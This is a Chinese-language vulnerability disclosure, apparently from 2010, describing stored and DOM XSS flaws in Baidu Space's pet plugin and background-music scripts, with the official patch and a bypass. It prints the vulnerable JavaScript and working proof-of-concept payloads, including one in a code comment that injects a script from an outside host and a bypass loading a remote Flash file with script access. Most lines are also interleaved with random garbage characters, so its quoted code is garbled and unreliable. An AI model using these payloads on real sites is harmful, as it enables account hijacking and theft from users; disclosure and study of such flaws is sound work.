百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
/ j/ Y2 e0 m6 a+ n( W
+ `& P6 I! o' Y- X1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. ! m; Q7 T; O+ ]" x
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
& k. |1 q" h; t# l# x; q2 D P Z! t# w- c4 w0 S! I
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
+ X; S6 m5 ~" P& x: }, m1 x% U其中BdUtil.insertWBR为 7 `* [1 f$ R' O" h$ ?
function(text, step) { 2 q$ b$ Y' m# H" H
var textarea = textAreaCache || getContainer(); 3 s! d( \- P6 y/ P6 O" ?
if (!textarea) { 6 {9 T2 o1 F6 p$ t8 p* i7 r
return text; 9 Y' z, s s! C( o1 Q0 \' C
} q9 d1 Z1 Y% ?* o
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); 7 z! L# q6 l" p. b! Z. d
var string = textarea.value;
9 V2 S) ~# H$ A7 X2 f* ^8 A var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); ; R5 }- d- S7 ]7 l
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
& i/ ~* ]+ T- H( t- I/ z& J# w- { return result;
0 N, ~9 m$ v8 l4 i* V. o}
4 ^( k9 s! b* E) F' e* v/ `在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. ' b% O$ q7 J1 i2 ^
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> R, G, o7 P5 ~7 a
' X; |' B! g/ G4 c: b( }二:creatbgmusic() Dom-Xss Bug
2 P+ a, B& s8 M) x5 C百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 4 Y, L/ e6 C) _; J! `
: N2 e3 i, r; N3 ?在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: % O( u- j1 S$ `9 F6 P
# q0 m! Y% w0 K4 `# y4 yfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
5 ?/ h3 G0 a6 Z //传入的murl赋值到bgmusic1和bgmusic2中 " v$ U6 q: O9 C& s h: e
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 + p" L/ i' e8 q
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; 1 P6 \7 ~3 _% o# e0 Q6 E
if (musicnum <= 1) { : d( C5 O% j r5 G+ t3 [6 b
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
8 j3 w9 L/ b* j1 L( @% | }
7 d7 ?' w' ^; @" f bgmusic1 += "</OBJECT>";
4 H- w4 X0 f+ g! J0 i3 w( c* n var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
* n& c6 \2 x9 p; b" O: ], T8 Q if (musicnum <= 1) {
# F# i+ T; E! V# S bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
9 l! U4 e- V( \+ J1 j' f }
8 G0 Y0 { o% P9 `- h# u bgmusic2 += "> </EMBED>";
4 r/ v9 u$ W" g$ t; o& J3 x var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; : g: W' t0 z1 \) I4 l% N! n. @
var bgmus = detectWMP(); 5 B# e, @0 Y4 X3 m
if (functype == "FckMusicHelper") {
, g: I8 p) a4 j/ u* \& s if (bgmus.installed) {
, l$ M1 b# e: H& }" {( i if (bgmus.type == "IE") {
7 n; o/ S" e- j; o' X$ }3 a return bgmusic1;
) b! s6 B; q. ~- m$ P: D } else if (bgmus.type == "NS") { ! Z' j! `1 J5 ]) b7 X
return bgmusic2; . P1 E0 ?( y9 g) h T2 i7 ?9 V
} 4 T1 Z. Y. D$ H2 k" C1 c
} else {
0 _4 o& @3 d: y U return bgmusic3; : j/ h5 j. u! \" E w: x
} $ w- c% G4 T# ^2 f# q' x* U" O
} else { " F8 y2 r* z& ]6 l( M! s
if (bgmus.installed) { 7 C5 V2 `1 w" Z7 R; k" m
//document.write 直接输出bgmusic变量 导致xss 3 {" s0 `# e5 W2 k
if (bgmus.type == "IE") {
8 ]# G! z( R: I document.write(bgmusic1);
+ W1 h C) l5 H' Z N } else if (bgmus.type == "NS") {
! }# S; C: ?4 C document.write(bgmusic2); : t* Z& R8 L0 d) E$ b5 V- H3 w8 v* y
} ! k% ?: }' @- _ T9 j
} else {
3 s! S! [' e; Y' ?" ` document.write(bgmusic3);
6 G- m" E* y5 [# u, U+ z0 O: p8 Z }
2 ~5 D5 K0 ?0 e! H$ c return ""; % G( m; n' d( E z7 M7 D. ~% A
}
! M7 A2 e1 X8 H6 ~5 a}
5 b9 g, n+ G6 _5 O: Z3 I' p
3 r- O) Q% S% P O在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: 1 x ?1 s ~' L# _* f& V( `
{9 E) k5 L+ `" o$ V
function initBlogTextForFCK(){ ! i+ I2 M7 \" t/ g- h( W; c- q9 k
//fck init music $ u! G# |8 ~2 a, ?- V4 F
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} + e$ U6 k- |. h& |9 X# w
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 ( z0 C k d7 t5 K* I
var isAutoPlay=true; # J. I% y0 {4 E5 M; y' C, b# A
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. 5 K+ L* C8 X8 `( A' p
var img=imgBox; / B% J* f/ w2 }
if(img.getAttribute(’rel’)){ 9 } I/ ]& _+ x, P1 ]
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
; t3 V1 l3 S( R& C7 e var musicDiv = document.createElement("SPAN");
% X' H7 k: a9 G; T: i# a var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
4 `' c4 Q8 d% m' S% [/ c3 h
- w" R K; }' f! O ..........................
3 _. y* g- @$ g! ?$ R: {, E
/ W- t- B+ q8 h1 } b //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
4 \, q/ P. [* ? var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
* s! B/ h8 x8 |0 a shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); ( d3 B% J; r; y# ]! [0 D
musicDiv.innerHTML=shtml; # a1 @1 u" W' \0 |
i--;n--;
8 n% B* e( T. U7 ~8 [: u } ' a5 Y" f* K/ Z/ L8 }5 r
} 0 C- p \5 H3 D6 x! A4 t
5 e5 w! u2 p/ h, v( g7 z1 \
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
0 b! d4 e3 l/ z4 V2 t ' g# W3 x+ B* R( t: O& I+ P
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
; I; r4 | L0 ?5 Q1 w' O
0 b; K8 `5 ]7 K: n) f等待官方补丁 ! }3 v* B0 _% {( }0 g. |
6 i4 y7 Z+ ~) F5 A! uupdate 2010年5月13日
( R9 C9 {2 l ]; h1 e: o
- Q5 _6 z! [9 P% t4 @$ z官方补丁: 6 s" {7 F! j. ~* {# F
[4 Y% r9 Q; Ovar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 7 h8 b* q& i: x# ?$ l
改为: # q9 Z2 y4 n0 J$ G' R6 M( E% Q
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); 3 Z6 s6 H( f4 |9 D) v
5 S* t u E2 D: R' V7 T( Zupdate 2010年5月13日 21:50:37
1 E3 [: U: w2 x, Y+ `
* n& {! U4 K- v5 i& C1 @+ d补丁存在漏洞 没有过滤" 可以继续跨:
* d6 u. E) w2 Q0 D0 k2 G6 E$ C% W% u( @
NEW POC:
' U! `/ ?; |# {$ x
+ z% k% A+ U' t6 R* s( f<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" ' Z( U- N. I* Z& o% x; z
4 T) t, c" b" a. ?# U% c$ Kallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
3 d, J4 a, |. f) c7 t) Z+ w( u& v
f% R( S6 B# D3 _' J |